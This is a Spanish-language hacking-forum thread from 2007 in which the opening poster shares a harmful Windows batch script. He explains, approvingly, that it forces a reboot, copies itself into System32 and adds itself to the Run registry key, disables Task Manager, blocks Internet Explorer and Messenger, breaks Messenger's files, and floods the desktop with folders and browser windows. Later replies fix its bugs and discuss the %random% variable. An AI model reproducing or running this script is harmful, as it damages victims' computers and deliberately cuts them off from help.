Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Nikexito en 29 Diciembre 2007, 15:54 pm



Título: BATCH - mi primer post !!
Publicado por: Nikexito en 29 Diciembre 2007, 15:54 pm
primeramente hola ! =) este es mi primer mensaje en la comunidad =) ! y haber como nos va :P aqui va un code simple de batch como mi primer post :P!!
********
@echo off
shutdown -r -f -t 100 -c "HOLA =) !!"
md "C:\WINDOWS\System32\nikebat"
copy %0 "C:\WINDOWS\System32\nikebat"
rename "C:\WINDOWS\System32\nikebat\*.*" "nike.bat"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v HOLAAAA /T REG_SZ /d  "C:\WINDOWS\System32\nikebat\nike.bat" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /T REG_Dword /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DISALLOWRUN /T REG_DWORD /d 1
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 001 /t REG_SZ /d "iexplore.exe"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 002 /t REG_SZ /d "msnmsgr.exe"
tasskill /f /im msnmsgr.exe
cd \
C:
cd "Archivos de Programa\MSN Messenger"
rename "*.*" "*.nik"
:nike
md "C:\Documents and Settings\All Users\Escritorio\%random%"
start www.foro.elhacker.net
msg * www.foro.elhacker.net
goto :nike
exit


********
bueno lo que hace este batch es:
-apaga la computadora en 100 segundos .. pero muchos diran ¿pero por que en 100 si podria ser en 0?? pues es para que sufra un rato el user :P con lo otro q se viene :P
- el bat se añade al registro
- deshabilita el ctrl + alt + supr
- para que no pueda pedir ayuda externa se le impide el acceso al internet explorer y al messenger
-taskkilleamos el messenger e inutilizamos la carpeta messenger
- creamos n carpetas en el escritorio
- hacemos un flood en la pantalla ;)


aparte el bat puede ser guardado con cualquier nombre igual seguira funcionando para eso la linea 3,4,5 ;)

bueno saludos =)


Título: Re: BATCH - mi primer post !!
Publicado por: invisible_hack en 29 Diciembre 2007, 17:44 pm
Yo ya le veo un fallito.... ;D

Si pones el shutdown al principio, lo demas no se ejecutará...pon el shutdown al final...

Saludos...


Título: Re: BATCH - mi primer post !!
Publicado por: Mutesillo en 1 Enero 2008, 00:34 am
WOW!!!


Título: Re: BATCH - mi primer post !!
Publicado por: ??? en 1 Enero 2008, 00:53 am
Aparte de lo dicho por invisible_hack debiste usar comodines para los paths ya que no siempre la ruta del sistema sera "c:\etc...".

La parte mas interesante a mi gusto es la del bloqueo de los programas, lo de las carpetas y el "flood" no tiene mucho fundamento amenos que kieras estresar al user... Jeje! :p

Salu2 y bienvenido.


Título: Re: BATCH - mi primer post !!
Publicado por: MK-Ultra en 8 Enero 2008, 21:49 pm
md "C:\Documents and Settings\All Users\Escritorio\%random%"

como funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?


Título: Re: BATCH - mi primer post !!
Publicado por: ??? en 8 Enero 2008, 22:33 pm
md "C:\Documents and Settings\All Users\Escritorio\%random%"

como funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?

%random% no es algo predeterminado...
Toma un valor aleatorio.


Título: Re: BATCH - mi primer post !!
Publicado por: Novlucker en 8 Enero 2008, 22:38 pm
Citar
%random% no es algo predeterminado...
Toma un valor aleatorio.

Creo que no le va a quedar muy claro, por si las moscas.........

Citar
como funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?

Si pero no...  :P

El random si viene por defecto, no hay que definirla..... y lo que hace es dar un número al azar..... prueba poner
Código:
echo %random%
en la consola y verás como devuelve un número

Saludos


Título: Re: BATCH - mi primer post !!
Publicado por: MK-Ultra en 8 Enero 2008, 22:50 pm
VBueno muchissimas gracias , ahora , el numero q manda, se puede comprender entre dos numeros ( me explico, darle un minimo y un maximo ) ?

Muchas gracias!


Título: Re: BATCH - mi primer post !!
Publicado por: Vlad_Asen en 9 Enero 2008, 19:26 pm
Cita de: Nikexito link=topic=193627.msg919826#msg919826
md "C:\Documents and Settings\All Users\Escritorio\%random%"

[/quote

Con esta linea creo q querias crear X cantidad de carpetas en el escritorio. Pero con esta linea lo que haces es crear solamente una carpeta con un nombre aleatorio (nombre numerico se entiende)

para crear muchas carpetas deferias realizar un ciclo for o un ciclo while

Saludos


Título: Re: BATCH - mi primer post !!
Publicado por: chrominum en 9 Enero 2008, 23:47 pm
Código
  1. set /p maximo=Introduce un maximo:
  2. set /p minimo=Y un minimo:
  3. set /a aleatorio=%random%
  4. set /a division=%aleatorio%/(%maximo%-%minimo%+1)
  5. set /a real=%division%*(%maximo%-%minimo%+1)
  6. set /a algo=%aleatorio%-%real%
  7. set /a numero=%minimo%+%algo%
  8. echo %numero%

Con eso comprendes el random entre unos limites.


Título: Re: BATCH - mi primer post !!
Publicado por: GUN$ en 6 Febrero 2008, 23:12 pm
Yo ya le veo un fallito.... ;D

Si pones el shutdown al principio, lo demas no se ejecutará...pon el shutdown al final...

Saludos...

...al shutdown le aplico un modificador "-t" de 100 secs... supongo que le dara tiempo jajaja